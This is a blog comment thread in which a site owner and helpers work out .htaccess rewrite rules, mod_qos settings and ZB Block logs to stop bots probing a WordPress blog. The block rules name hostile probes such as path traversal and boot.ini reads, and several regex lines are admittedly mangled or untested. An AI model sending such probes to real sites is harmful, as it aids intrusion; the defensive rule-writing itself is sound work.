    Oddly enough, after trying “timthumb.php” and getting a forbidden, a bot tried ‘timethumb2.php”! Same bot. (Some of the ‘bots are less ‘stupid’ than others. They are programmed to just keep on sniffing!)

    As it stands, you’re requiring both conditions be met in order for the request to be blocked. If you want to require only one be met, you need to add an OR tag (on the first line). Both ways work, but they do different things.

    That’s what I want. Otherwise, Zeke and I can’t login. With respect to ‘wp-login’, the only valid things that should get hit is

    “myblogdomain.com/blogdirectory/wp-login.php”
    The only people who should really ever hit that are authors. We never send /?action=register at my blog because
    a) we already are registered and
    b) I don’t let visitors self register through wp-login. I register all authors myself from inside wp-admin.

    But some blogs do allow people to register. So, some ‘bots try all sorts of combinations, guessing directories at random, and tack on action=register and try to register themselves as users. That’s who that is catching and it does so with little risk that Zeke or I could ever accidentally trigger it by accidentally entering myblogdomain.com/wp-login.php (which I have done.)

    Because “submit-articles|wp-signup.php” are also accessed with actions, but “submit-articles” isn’t even valid at a wordpress blog and “wp-signup.php” is also turned off here. So, I don’t look at the query strings on those.

  23. Oh, apparently I missed a post. I’m afraid I have to admit I’m not sure what that “attack” is trying to do. Here’s a translated version of it (this site is handy for decoding):

    “GET 2011/post-title/ [PLM=0][N] GET http://mydomain.com/2011/post-…..,0,1160] HTTP/1.1″ 200 819 “http://mydomain.com/2011/post-title/ [PLM=0][N] GET http://mydomain.com/2011/post-…..,0,1160]”

    It looks like it should be a fairly simple scraping script, but it seems malformed (you can see a couple unmatched closing brackets). If I had to guess, I’d say it’s probably just a miscoded scraper. I could be missing something though.

    As for that TheFreeDictionary UA, I’d go ahead and block it if I were you. It is a legitimate UA, but I can’t imagine any reason you’d want it using your site. It comes from the add-on for the site, TheFreeDictionary.com.

    By the way, I don’t know why that isn’t being blocked. It seems to me that it should be.

  24. Oddly enough, after trying “timthumb.php” and getting a forbidden, a bot tried ‘timethumb2.php”! Same bot. (Some of the ‘bots are less ‘stupid’ than others. They are programmed to just keep on sniffing!)

    What that a typo, or did it really try “timethumb2.php”?

    That’s what I want. Otherwise, Zeke and I can’t login. With respect to ‘wp-login’, the only valid things that should get hit is

    Makes sense. I thought that would probably be the case, but leaving off OR tags is a common mistake, so I wanted to be sure.

  25. Oh yeah, a quick note about optimization. In .htaccess files, it is faster to combine multiple RegEx lines into one command. I’ve managed to get as much as 10% quicker responses by combining all my RewriteConds into one line.

    Of course, the fewer lines you have, the less it matters, and it can be hard to manage the RewriteConds when they’re all on one line. Still, it’s worth knowing.

  26. The +%5BPLM=0%5D%5BN%5D+GET+http://mydomain.com/2011/post-…..,0,1160%5D

    translates into
    +[BPLM=][]+GET+http://mydomain.com/2011/post-…..,0,1160]

    The % character indicates the following character is hex value encoded.

    You .htaccess rule
    RewriteCond %{QUERY_STRING} ^.*(\[|\]|\(|\)|).* [NC,OR] should catch this.

  27. Thanks Kan. For some reason it doesn’t catch that. (I test on my knitting blog since I’m less concerned about taking that down every 30 seconds or so while I check. Yeah… this is not production. I do it live.)
    I’ll check some more.

    Does the order in which the blocks of commands appear matter? For example, if something like

    Order Allow,Deny
    Allow from all
    Deny from env=spam_ref


    precedes the
    RewriteCond %{QUERY_STRING} ^.*(\[|\]|\(|\)|<|>).* [NC,OR]
    Does that matter?

    I can shift stuff around pretty easily.

  28. Brandon

    What that a typo, or did it really try “timethumb2.php”?

    Yep, typo. It was timthumb2.php.

    I know fewer commands are good. The difficulty is wanting to also get complete blockage and not knowing regex well.

    I’m fiddling and can figure out how to block things that contain 5BPLM= but not if they have the +% in front: /+%5BPLM=0%5D%5BN%5D

  29. Kan

    with your hosting, can you get Apache modules installed? If so, then you might look at mod_qos.

    Maybe. For all I know it’s already available. 🙂

    The QS_ClientEventBlockCount directive would help you a lot.
    Tips on what I would do specifically?

  30. Kan, you say the one line:

    translates into
    +[BPLM=][]+GET+http://mydomain.com/2011/post-…..,0,1160

    This has a number of errors. The correct translation can be found in this comment, or you can visit this site to do the translation yourself.

  31. Lucia – Please check on if it is in place or can be installed. If so, I will get into it more (we do not use it as we have external systems that provide this protection).

    Some hosting services do not necessarily allow Apache mods to be installed, or you to control them directly.

  32. lucia, you ask:

    Does the order in which the blocks of commands appear matter? For example, if something like

    For what you’re asking about, no it doesn’t matter. Redirection only happens if a user is allowed access.

    Yep, typo. It was timthumb2.php.

    Of course, I made a typo when asking if that was a typo. Go figure, huh?

    I know fewer commands are good. The difficulty is wanting to also get complete blockage and not knowing regex well.

    For what I was talking about, you can basically just combine two lines with a pipe ( | ) symbol and it will work. For example, you could rewrite the first two lines from you 6) as:

    RewriteCond %{QUERY_STRING} (\.\.\/ | boot\.ini) [NC,OR]

    You can do that as many times as you want, adding a pipe followed by the next pattern. It’s purely for optimizing processing time though, and it can make it difficult to modify rules later.

    I’m fiddling and can figure out how to block things that contain 5BPLM= but not if they have the +% in front: /+%5BPLM=0%5D%5BN%5D

    It sounds like Apache might not handle regular expressions well (at all?) when a hexadecimal character is coded that way. It should either apply your pattern matching to the string before interpreting it (so you could match 5BPLM), or it should apply your pattern after interpreting it (so you could match [PLM), but I don’t know which (if either) it does. I’ve never encountered this myself, so I’m afraid I can’t be of much help.

  33. lucia, Kan could probably give you more information as I’ve never used the mod_qos package, but basically the QS_ClientEventBlockCount directive makes it so if a user does something “wrong” too many times in a certain period of time, his IP gets blocked for a certain period of time (both amounts can be configured). IP blocking is faster than redirection, so it could be useful for you.

    I don’t know much about whether or not you’d be able to use it though. I know nothing about the company you use.

  34. Brandon–
    I could ask Dreamhost if I can use it. But after that I would need Kan to tell he how to write a command defining “did something wrong” so I could block them.

    My guess is Kan is a programmer type and it’s likely he thinks I can look at the manual and figure out what to write in the blink of an eye. But the reality is that I would probably have to spend a day figuring out a) what’s sorts of events I can even detect b) dreaming up how that interlaces with what I actually want to do c) figuring out how to tell Apache what do do efficiently d) watching the blog crash and burn several times.

    It sometimes seems to me that programmers forget they actually spent some time learning things that let them read what they read and know what it is telling them. Meanwhile, I read something like this

    # limits the maximum of concurrent requests per application to 100:
    QS_LocRequestLimit /aaa 100
    QS_LocRequestLimit /bbb 100
    QS_LocRequestLimit /ccc 100
    QS_LocRequestLimitMatch "^(/dd1/|/dd2/).*$" 100

    and wonder: What the heck does that even mean? Is /aaa an application? what does “^(/dd1/|/dd2/).*$” 100 even mean?

    Even if that thing is available to me right now I can’t use it because I don’t have clue one what I would write, and don’t even know whether I should pick 100 or 10 or whatever.

  35. lucia, you may be right about that. I think I’m pretty good at not assuming more about people than I should, but I know how easy it is to fall into that trap.

    In this case, the bigger problem is Kan didn’t give you enough information when he provided you that link. The first example you get if you follow that link wouldn’t be helpful for you (for what it’s worth, /aaa, /bbb and /ccc all refer to applications on your server). However, if you scroll down to the last example, you’ll find what the one he intended for you to look at. Not all of it is relevant, so I’ll reproduce the part you would use:

    QS_ClientEventBlockCount 20 300
    QS_SetEnvIfStatus 400 QS_Block
    QS_SetEnvIfStatus 401 QS_Block
    QS_SetEnvIfStatus 403 QS_Block
    QS_SetEnvIfStatus 404 QS_Block
    QS_SetEnvIfStatus 405 QS_Block
    QS_SetEnvIfStatus 406 QS_Block
    QS_SetEnvIfStatus 408 QS_Block
    QS_SetEnvIfStatus 411 QS_Block
    QS_SetEnvIfStatus 413 QS_Block
    QS_SetEnvIfStatus 414 QS_Block
    QS_SetEnvIfStatus 417 QS_Block
    QS_SetEnvIfStatus 500 QS_Block
    QS_SetEnvIfStatus 503 QS_Block
    QS_SetEnvIfStatus 505 QS_Block
    QS_SetEnvIfStatus QS_SrvMinDataRate QS_Block
    QS_SetEnvIfStatus NullConnection QS_Block

    This is mostly self-explanatory. The first line sets the number of violations (20), and the next line sets the duration for the IP block (300 seconds). The rest of the lines set what counts as a “violation.” Almost all of them are http codes, so you should have no problem understanding them. The last two lines are the only ones which should give you any confusion, and you wouldn’t have to include them.

    If you’re curious, the first of the two is set earlier in the example, and it checks to see if a user is connecting to your server too slowly. The second is basically triggered when a user “times out” during the negotiation phase before sending any http requests.

    In any event, I don’t think you’d have a hard time setting up what Kan is talking about as long as you stuck to that one directive (QS_ClientEventBlockCount).

  36. I need to correct something I said in my last comment. As I mentioned before, I’ve never used the mod_qos package, so I haven’t used any of those commands myself. Unfortunately, I misread something on that page, and that caused me to tell you something which was incorrect.

    In the first line of what I quoted, the “300” isn’t how long the IP address gets blocked. IP addresses get blocked permanently (or until you unblock them) when using the QS_ClientEventBlockCount directive. That “300” actually refers to the period of time used when counting how many violations the user makes. This is demonstrated by the comment lines before what I quoted:

    # block clients violating some basic rules frequently (don’t allows more than 20
    # violations within 5 minutes):

    It seemed kind of funny when I typed it the other way (I was surprised by the idea of five minute IP bans), but I didn’t bother to go back and look at it again until after I hit Submit. Sorry about that.

  37. Okay, third time is the charm? I went back and looked more closely at the documentation, and it seems I was right to (originally) think the IP bans with QS_ClientEventBlockCount aren’t permanent. Unfortunately, the documentation has left me confused:

    QS_ClientEventBlockCount []
    Defines the maximum number of QS_Block events allowed within the defined time (default is 600 seconds). Client IP is blocked when reaching this counter for the specified time (blocked at connection level: user might not always get a user friendly error response).

    It refers to the “defined time” and “specified time,” but I’m not clear on if the two are the same. I would think one could set the period of time to listen for violations separately from the amount of time the ban would last, but the documentation seems to suggest the two will always be identical. I may just be missing something, or the documentation could be unclear.

    Either way, the point is it wouldn’t be hard for you to implement the solution Kan was talking about.

  38. Brandon–
    Thanks! I think I get that. Yes– Naturally, I just started reading from the top and thought “OMG! What does half of this even mean?!!

    Still– are the violations http status codes? One of the big problems is that ‘bots come through and get 200 status codes loading pages furiously. For example, the ones trying to to load wp-login.php try:

    domain/blogdirectory/blogpost1/some_stupid_guessed_junk

    Often, they guess junk that WP trims off and they get a 200 and some stuff. If you look at the image f1.bb.sky.com got 200s.

    Unless I write the .htaccess file to bounce them They just keep getting 200s over and over and over and over. Bouncing the Java useragent seemed to work.

    Java can be used by innoncents though– not often, but it can.

    It’s not as if these ‘bots go out and create a useragent called “I am a nasty bot” just to make things easy.

    domain/blogdirectory/blogpost1/wp-login.php?action=register

  39. Brandon– Because I have another domain name, i can always just try it out. If the functionality is there I don’t even have to ask Dreamhost. 🙂

  40. lucia, the QS_ClientEventBlockCount directive wouldn’t replace what you’re already doing. You would use it in addition to what you’re doing. Sure, a bot get a 200 code, but then you redirect it and it get a 403 code. At that point, it counts as one violation. If a bot gets too many too quickly, its IP gets banned for a while. IP bans means your server doesn’t have to look and see if requests break any rules, so it saves you processing time.

    It doesn’t really help you block attacks, but it could decrease how much processing time those attacks take up. About the only way it would block an attack is if a one of a bot’s later actions is one you wouldn’t have caught, it being IP banned means it might not get a chance to try it.

    Brandon– Because I have another domain name, i can always just try it out. If the functionality is there I don’t even have to ask Dreamhost. 🙂

    That is convenient. I’ve had times where I needed to test server configuration changes, and every time I wanted to test something, I had to reboot the server. I once even had to modify a program on a server, with the server requiring a reboot to accept the changes. The problem? The program had to be recompiled each time. This means, to change even a single variable, I would have to recompile the program, then restart the server.

    Try imagining troubleshooting that thing.

  41. Brandon–
    Sounds like it wasn’t fun!

    Ok… I have my trap to put in place of “honeypot.php” above. It’s not really a honey pot since I send them there.

    I whitelist my IPs. If it’s not me, I check the statistics at project honeypot, send myself an email, and return a 403. Then with the utility Kan described, I should be able to stop any bots that log too many 403s.

  42. Brandon – My translation did have an error in it – I missed the N in the [N]. The other things you say are errors – the + sign becoming a space are not errors. It will be a literal. The + is not a replacement for the space character (in a URL the space can be indicated by the hex value %20).
    .
    The decoder you pointed to is a javascript tool that translated the + to a space. Do a round robin to see that the space will be encoded as %20, this is an artifact of the Decoder tool.

    To see the BNF of a URL (since this is for the HTTP(s) URI schema) see

    http://www.w3.org/Addressing/URL/5_BNF.html

  43. Lucia – like I said, we do not use mod_qos, so I will have to dig into it. It should help you, but I just do not have the knowledge off the top of my head. I will start digging.

  44. The reason the Bots are getting a HTTP status of 200 is probably due to a nice error page being delivered back from WP. The web server will give a response of 200 in this case. For example the URL Brandon and I are debating 2011/post-title/+%5BPLM=0%5D%5BN%5D+GET+http://mydomain.com/2011/post-…..,0,1160%5D
    .
    Gives back a nice error message – a real response – from your WP site. Thus, the web server will return a 200. I will see if there is a way around this. The .htaccess way may be the only one.

  45. Lucia – one more thing. You indicated the the
    .
    RewriteCond %{QUERY_STRING} ^.*(\[|\]|\(|\)|).* [NC,OR]
    .
    is not catching the %5B “[” and %5D “]”.
    .
    Interesting. I thought that the URL would have been parsed by the time the .htaccess was invoked. One way to handle this might be adding the 5B and 5D to the RewriteCond (I am not sure if the % needs to be specified, and if so, then escaped.)
    .
    RewriteCond %{QUERY_STRING} ^.*(\[|%5B|\]|%5D|\(|\)|).* [NC,OR]

  46. Lucia – From the email you showed above- it looks like you have the VPS version. With this version it looks like you have a server admin account, and you should be able to see if mod_qos is installed (and active). This will be listed in the httpd.conf file, which is usually under the /etc/httpd/conf directory for a default Apache install.
    .
    If you have access as an admin to this file, then you can install mod_qos if it is not there. I will help you through the install if you have permissions to do it.

  47. Kan–Cool! I think I know the logic I need to apply to use that now too.

    I have a “trap” set, so I can get the really bad things to throw 403’s or whatever I want. Though, I notice that if I show them 403’s they go away– which is what I want. But getting htaccess to block them for a period is perfect. I’ll probably do this monday.

  48. Kan, you say:

    Brandon – My translation did have an error in it – I missed the N in the [N]. The other things you say are errors

    This makes little sense to me. I didn’t list any errors, so it’s hard to interpret what you’re saying. What “other things” do you think I’m saying are errors? I said:

    This has a number of errors. The correct translation can be found in this comment, or you can visit this site to do the translation yourself.

    You’ll note, while I refer to errors in your translation, I don’t actually say what those errors are. However, since you’ve made an issue of it, I’ll list them. You translated the line as:

    [BPLM=][]+GET…

    I translated it as:

    [PLM=0][N] GET…

    First, as you point out, you left out the N in the second set of brackets. However, that is not the only error in your translation. You’ll note your first set of brackets encloses “BPLM” whereas mine encloses “PLM.” The “B” in your translation comes from the hexadecimal code for the opening bracket (%5B), which you failed to remove.

    You’ll also note you have your = sign followed by a closing bracket whereas mine is followed by a 0. I’m not sure how you did it, but you left off the 0 from before %5D (the hexadecimal code for a closing bracket).

    Those are the three errors I was referring to. The issue of whether or not you switch + signs for spaces was irrelevant to me, and I wasn’t considering that an error. I decided to use spaces instead because that is what lucia would be familiar with, as indicated in the screenshot in her blog post. Like many things in translations, this particular issue doesn’t have one “correct” answer. It’s a stylistic choice, and while I might point it out, I wouldn’t tell someone they were wrong for using a different option than me.

    Of course, none of this really matters. But if you are going to tell me things I say are wrong, it’d be nice if they were things I actually said. If I did get something wrong, I’d be happy to admit it, but I’ll need you to point out what it is I said that was wrong.

  49. Brandon – sorry, I was not trying to get all bothered about it. You are correct about my having the additional B and the missing 0 in my translation. And no, you did not spell out the my errors.
    .
    I only took issue with the + signs because the decoder tool you referenced is incorrect in its output. I had to double check myself about them, and that is why the reference to the BNF page, since I had to go use to verify myself. Again, sorry for being a prig here.

  50. Kan, you refer to the line:

    RewriteCond %{QUERY_STRING} ^.*(\[|\]|\(|\)|).* [NC,OR]

    This line is wrong. In fairness, I seem to have quoted it the exact same way (and first), and I’m not sure how that happened. The full line in lucia’s comment was

    RewriteCond %{QUERY_STRING} ^.*(\[|\]|\(|\)|).* [NC,OR]

    The first version I quoted won’t parse correctly because the last pipe isn’t followed by another string comparison. You can see a few characters got lost somehow. I’m sorry about that, and I’m not sure how I missed it before. I’m normally pretty good at catching RegEx errors. IN any event, this is how the line should be:

    RewriteCond %{QUERY_STRING} (\[|\]|\(|\)|) [OR]

    It’s basically the same as the original line, with some superfluous things taken out. The same editing could be applied for the line you offered at the end of the comment, giving:

    RewriteCond %{QUERY_STRING} (\[|%5B|\]|%5D|\(|\)|) [NC,OR]

    As a word of caution, offhand I’m not sure whether or not this will actually work. I know % followed by a number is actually a variable (similar to how $5 would be) in ReWriteRule lines. I don’t think it works that way in RewriteCond lines, by I’m not sure. It’s at least something to keep in mind if the line doesn’t work as one would expect.

  51. Lucia – Dreamhost uses Debian, so if you do have admin capability (OS level through their c-panel) for your site then you should be able to install it.
    .
    My previous instructions for checking if it was installed were kinda wrong for this.
    .
    A better way to see if it is already installed:
    ls /usr/lib/apache2/modules/mod_qos.so

    Again, I am groping along on this one so bear with me.

  52. Brandon – sorry, I was not trying to get all bothered about it. You are correct about my having the additional B and the missing 0 in my translation. And no, you did not spell out the my errors.
    .
    I only took issue with the + signs because the decoder tool you referenced is incorrect in its output. I had to double check myself about them, and that is why the reference to the BNF page, since I had to go use to verify myself. Again, sorry for being a prig here.

    No problem. I wasn’t bothered by it, just confused. I tend to make mistakes quite often, so when someone tells me I’m wrong, I usually assume I was until I know otherwise.

  53. Brandon – uou are correct.I did not really parse the RewriteCond line too hard either.
    .
    I really do not know about detecting hex characters in the Rewrite rules. Will look into it.

  54. Why am I reminded of this?

    ‘Some people, when confronted with a problem, think “I know, I’ll use regular expressions.” Now they have two problems. ‘
    Jamie Zawinski

    ‘Because we can’t all be Perl programmers darling?’
    🙂

    Memory usage in WordPress installations on Apache is often very closely tied to dynamic child process memory usage, and can be managed with the ‘MaxRequestsperChild’ directive. Recommended is several thousand, but I’ve found that on VM’s with lowish mem it’s a good idea to set the ‘recycle’ limit quite low (2-5 hundred). The default setting is usually ‘0’ or ‘never’.
    In my experience that mem usage is VERY susceptible to micreants and wandering bots, and as soon as a WP installation starts swapping, nasty things happen everywhere.

    Zb Block is also quite an interesting approach against such

    http://www.spambotsecurity.com/zbblock.php

  55. Kan

    I really do not know about detecting hex characters in the Rewrite rules. Will look into it.

    I suspect the presence of any hex characters means the probability it’s a bot exceeds 99%.

  56. Kan

    the reason the Bots are getting a HTTP status of 200 is probably due to a nice error page being delivered back from WP

    Yes. I might look into inserting something at the top of WP to return 403 if it detects really bad stuff in the query string. But it’s even better to catch that in .htaccess and just block it before it even triggers WordPress. Some query patterns are getting 403 blocked others are getting processed by wordpress, shown the 404 page which, oddly gives a header of 200. That’s a stupid wordpress thing. (It’s either the theme, wordpress itself or something.)

  57. I just saw another block worthy behavior.

    A scraper of sort went through and loaded one bajillion images. I just keep scrolling down and down and down. The referrer is http://rankexploits.com/musings/feed/ which never contains links to images and also never contains links to more than 10 posts old.

    I think I’m going to 403 image requests with ridiculous referrers.

  58. Just a quick note. With the discussion having slowed down (and it seeming like you’ve gotten things mostly sorted out), I’m not as sure to notice new comments as before. If you post any questions I don’t respond to, it’s not because I’m ignoring them. I’m still happy to help however I can.

  59. Kan—
    ZBBlock is GREAT!!!!

    Brandon–
    I got lots of things sorted out in htaccess so they work. I did some ‘testing’ over at my other site so I could see what I blocked. Also, Kan’s information about ZBBlock. SuperMega great application.

    It takes about 20 minutes to locate, install, read through the thorough, but somewhat lengthy manual, install, add a password so you can test, and test. I put it up at the ‘test’ url which really only gets ‘bot traffic at this point. I could look at the the “killed_lot.txt” file and see it was working– and getting stuff my .htaccess rules don’t get.

    Then I put it up here! I blotted out some stuff I want to mask in the following, but you can see that it’s pretty strict.

    #: 1 @: Mon, 07 Nov 2011 09:09:12 -0800 Running: 0.4.9_Final
    Host: xxxxxxxxxxx
    IP: xxxxxxxxxx
    Score: 1
    Violation count:
    Why blocked: QUERY Test Trigger to test function.
    Query: test=xtestx
    Referer:
    User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
    Reconstructed URL: http:// rankexploits.com /xxxxxx.php?test=xtestx

    #: 2 @: Mon, 07 Nov 2011 09:09:19 -0800 Running: 0.4.9_Final
    Host: cpe-124-181-210-102.lnse3.win.bigpond.net.au
    IP: 124.181.210.102
    Score: 1
    Violation count: 0
    Why blocked: Bot UA.
    Query:
    Referer:
    User Agent: Mozilla 4/0
    Reconstructed URL: http:// rankexploits.com /musings/2010/a-detailed-look-at-ushcn-mimmax-temps/

    #: 3 @: Mon, 07 Nov 2011 09:09:36 -0800 Running: 0.4.9_Final
    Host: xxxxxxxxxx
    IP: xxxxxxx
    Score: 1
    Violation count:
    Why blocked: QUERY Test Trigger to test function.
    Query: test=xtestx
    Referer:
    User Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.5; rv:7.0.1) Gecko/20100101 Firefox/7.0.1
    Reconstructed URL: http:// rankexploits.com /musings/?test=xtestx

    #: 4 @: Mon, 07 Nov 2011 09:14:20 -0800 Running: 0.4.9_Final
    Host: spider83.yandex.ru
    IP: 95.108.216.251
    Score: 1
    Violation count: 1
    Why blocked: RBN.
    Query:
    Referer:
    User Agent: Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)
    Reconstructed URL: http:// rankexploits.com /musings/2008/new-climate-blog-author-requests-help/feed/

    If you load the blog adding ?test=xtestx, you’ll get 403d. Don’t do it multiple times because I don’t know how to white list someone or get them out of black listing.

  60. lucia, it’s good to hear that application is working well for you (I’ve never used it, but I know how effective PHP scripts can be for protecting a site), but I think you’re giving credit to the wrong person. The only comment which recommended ZB Block was this one, and that was by Chuckles, not Kan.

  61. Sorry— I was going by memory. Thanks Chuckles!

    I’m testing to see if some of the attacks I caught with htaccess block get through. Ideally, I catch things 1 way or the other. I don’t need to pre-screen zbblock with slow htaccess if zbblock catches something, but I do want to catch things I see happening that it doesn’t catch. (Then, I can report to Zaphod the author.)

  62. Brandon–
    I saw a email havester/spammer hit my blog with a bunch of “PROPFIND” requests on images. It also loaded lots of other stuff.

    I’d like an .htaccess block that lets me send all PROPFIND requests (or at least those on images) to a php script. (In addition to other things, the php script will include the command to let zbblock look at the requester.)

    I know I can limit
    order deny,allow
    deny from all

    But what I’d really like to send requests with these characteristics to ‘trap.php’:
    * PROPFIND
    * tries to get image.
    * empty referrer (or at least referrer not my blog. If it’s my blog, zbblock will sniff them anyway.)

  63. You’re most welcome Lucia, glad it works for you, that’s why I recommended it. 🙂

    On memory issues I strongly recommend checking the maxrequestsperchild and tweaking the settings. Getting that ‘tuned’ for a particular site solves all mem issues every time for me.

    I note that rankexploits.com (your highest google link) is currently directing to a ‘there’s nothing here’ trap page with a click link to /musings?

  64. lucia, unless I’m misunderstanding the situation, you should be able to do that in basically the same way you’ve handled the rest of the .htaccess things we’ve discussed. You’d just add something like this:

    RewriteCond %{REQUEST_METHOD} ^PROPFIND$
    RewriteRule .* /trap.php [R,L]

    Of course, that example would redirect all PROPFIND requests, so you would add rules for whatever other conditions you might want.

    Edit: Unless I’m mistaken, PROPFIND requests cannot be used to actually get the image, so you won’t be able to use that as a condition.

  65. Brandon–
    Thanks. I guess %{REQUEST_METHOD} didn’t occur to me . (Yes. Brain fart.)

    Are there legitimate uses for PROPFIND by blog visitors? Because if there aren’t any, I think just sending them to the trap is great. Then when they try it on a bunch of images, zbb might start sending them 503’s. I know it might not work if nothing else about the ‘bot makes zbb suspicious but quite often these bots are at bad places. The Honeypot thought that one was an email havester/spammer.

  66. By blog visitors? No. PROPFIND has uses in some situations, such as with Exchange servers, but there’s no reason anyone should be using with on your blog.

    And I went ahead to check to be sure, and it was as I thought. PROPFIND cannot be used to get images. It is sometimes used to find images with certain properties though (as in, scraping sites for them), and once it finds one, that image is gotten through normal means.

  67. I note that rankexploits.com (your highest google link) is currently directing to a ‘there’s nothing here’ trap page with a click link to /musings?

    Usually visiting the http://rankexploits.com/ just sends you directly here. There was an issue and I took that redirect out. It will be back in soon.

  68. Yes, it was chuckles that suggested ZBBlock. I am glad to hear that it is working.

    If you decide to use mod_qos for the non php, I am willing to help you get installed.

  69. Kan–
    I think I’ll be wanting to add mod_qos too. Now that I have ZBBlock I need to:
    1) trim htaccess to only the more aggressive stuff block stuff that ZBBlock doesn’t take care of. There are things ZBBlock misses. (ZBBlock doesn’t catch people scraping images, and it doesn’t always catch people who reload the wp-login page a whole bunch of times. That’s because the ones hitting wp-login sometimes look ‘innocent’ to stopforumspam.com. Well…. that’s because they don’t use those IPs to drop spam comments or email spam. They are trying to crack in to admin areas!)

    2) use mod_quos to escalate the block on things I 403 outside ZBBlock.

    But ZBBlock is giving me a bit more time.

    I’ll be leaning on you for help near the end of the week.

  70. lucia, glad to have helped. I know what it’s like to try to manage a server when you don’t really know what to do. The internet is a great resource, but it’s much easier to figure things out if you have people you can talk to.

  71. Brandon–
    Yep. There are so many potential resources, but you can’t find them by google.

    Kan/Brandon, one of my big questins about mod_quos right now is not whether I can get Dreamhost to install it if it’s not installed. I know I can get that answer from them by asking– that sort of question is covered under “providing hosting”. What I need to know is the type of information they don’t answer which is “how to run use resources.”

    Right now, assuming mod_qos is installed, it looks like I can block athings that throw more than 5 403’s in 5 minutes using this:

    # block clients violating some basic rules frequently (don't allows more than 5
    # violations within 5 minutes):
    QS_ClientEventBlockCount 5 300
    QS_SetEnvIfStatus 403 QS_Block
    QS_SetEnvIfStatus QS_SrvMinDataRate QS_Block
    QS_SetEnvIfStatus NullConnection QS_Block

    But as far as I can tell, I block these permanently. That’s not good because these ‘bots hop an different IPs and then move to a new IP I could end up blocking Bergen Norway permanently, and I wouldn’t know how to unblock. (And lets’ face it, I don’t want to spend a day figuring that out. Then, later, forgetting and having it happen again a month later!)

    Meanwhile, the ‘bot would move on to another IP. So, while all the innocents in Bergen were blocked, the ‘bot would just start hammering away again. It might get re-blocked, now possibly blocking all of Oslo. Eventually, everyone who can’t spoof IPs will be blocked.

    Clearly, I would rather block something for 30-60 minutes or so. That would likely be enough time to make a bot go away for a little while. They might come back, but likely as not, they’ll have a new IP anyway. (If they don’t, well, they just get blocked again for more than 5 403s).

    So, I really need to know how to only block a finite amount of time. Otherwise, this will in the long run be much too burdensome.

  72. lucia, I can’t test it right now to be sure, but the impression I get is it will block those IPs for the amount you set it to watch for. As in, if you set it to block “things that throw more than 5 403′s in 5 minutes,” the IP address will get blocked for five minutes. Nothing will be banned permanently. I’m not sure that’s correct, but it is how I interpret what the documentation says:

    QS_ClientEventBlockCount []
    Defines the maximum number of QS_Block events allowed within the defined time (default is 600 seconds). Client IP is blocked when reaching this counter for the specified time (blocked at connection level: user might not always get a user friendly error response).

    As I explained above, the documentation confuses me somewhat, so I’m not sure how good my interpretation is. Kan might be able to give you a better answer.

    As an aside, you don’t need the last two lines from that block of code. The first of them relies upon a value that isn’t set in the code, and the second has nothing to do with what you’re trying to accomplish. This isn’t to say you shouldn’t include those lines. They just aren’t necessary for what you’re discussing at this moment. All you actually need is:

    QS_ClientEventBlockCount 5 300
    QS_SetEnvIfStatus 403 QS_Block

  73. Brandon– Thanks. If we can confirm the block is only 300 seconds, that would be great.

    It’s weird they don’t let these be set separately. Bot hit things fast. Oh well… I suspect this wasn’t really designed with ‘bots in mind.

  74. Brandon’s interpretation of the QS_ClientEventBlockCount appears correct.

    []
    [] = optional
    {number} = number of events
    [time]= minimum amount of time the number of events may occur in and,
    [time]= Amount of of time the block the offending IP is blocked.
    .
    It is kind of clever to overload the time variable in this manner. From your settings:
    number of events = 5.
    time = 5 min
    Thus, if a client IP triggers 5 events within a 5 minute period, then that client IP will be blocked for 5 minutes.
    .
    If you want a 30 minute block, then I probably would set the to something like 20-25 at first and see what happens.

  75. Oh shoot forgot about &gt and &lt —

    the above should be
    {number} = number of events
    {time}= minimum amount of time the number of events may occur in and,
    {time} = Amount of of time the block the offending IP is blocked

  76. Brandon–
    I just go by the graphs. It’s down by about 33% but more importantly I’m not getting the huge sudden blog killing spikes. I used to get one at midnight most nights. (Note: I didn’t get one on the graph inserted in the post– but it was very, very frequent.) It seems showing these badboys a “403” often makes them go away, where as before, they kept coming back and trying a new address. (I mean seems– I’m not keeping statistics. Just noticing how the character of the server log hits change.)

    The reason I’m pretty quiet– not commenting on Steve or Zeke’s post etc. is I’m fiddling to implement the “strategy”. It involves:

    1) Insert ZBblock in front of all ‘blog’ connects. (Done.)

    2) Insert ZBblock on top of my “trap”. (Done.)

    3) Tweak .htaccess to send certain types of suspicious requests that ZBblock can’t or currently doesn’t block to “myhoneytrap.php”. Examples include:
    — PROPFIND requests to images.
    — Requests to things like ‘wp-login.php’ that don’t start with /musings/wp-login.php
    — Things I’ve seen get by ZBblock. (Lots of login attempts do. Their IP’s aren’t listed on comment spam or scraper lists. Some aren’t using ‘dirty’ IPs or known bad agents. )
    — timthumb.php type requests.

    4) Tweak .htaccess to not be redundant while still catching things.

    5) Pass all hits to the real wp-login.php by non-authors through ‘myhoneytrap.php”. (It’s ok if this is slow so I may be making this a plugin eventually. Currently, I edit wp-login.php. I had to to add ZBblock anyway.)

    6) Making “myhoneytrap.php” do what I want it to do. This includes:
    — keeping three lists: 1) a honey_trap_connect list 2) a blacklist, 3) a honey_trap_whitelist (for authors). (Note: Whitelist is filled out by me. Not a program.)
    — checkwhitelist. If IP white listed, give friendly error message or if real login page, let them see it.

    Otherwise:
    — check the blacklist. If IP found, give 403, exit; otherwise continue.
    — checking project honeypot for threat level. If greater than 2, blacklist, 403, exit. Otherwise, continue.
    — check honey_trap_connect list. If greater than 3, add to blacklist.
    — 403 (because none of these requests are good!)
    — email me informative messages.

    6b) Add my project-honeypot link to text of 403 page bots are sent to. Hope they click them.

    7) Creating fairly bot-proof-method for people to authors unban themselves if they end up on my honeytrap.php banlist. (This is actually mostly coded because I found a trap online. It was already well thought out as traps go. It needed modification, but I didn’t need to remember all the various things I need to check. So, right now, authors can go to a particular form, fill it out and get themselves off the banlist. They have to add, and pass a few other challenges. It’s sturdier than the betting form. So far, no bots can add if I don’t show the answer in the hidden fields in the form! I need to extend this so they simultaneously get off the honey_trap_connect list.)

    9) Eventually using the resource Kan used (or some other method) to temporarily ban visitors who create too many 403s.

    I’m not an efficient programmer, so it’s a little slow. But to some extent, the time consuming stuff has been watching what’s going on to figure out the strategy, inspecting what does or does not get through ZBBlock and making .htaccess work with minimal redundancy.

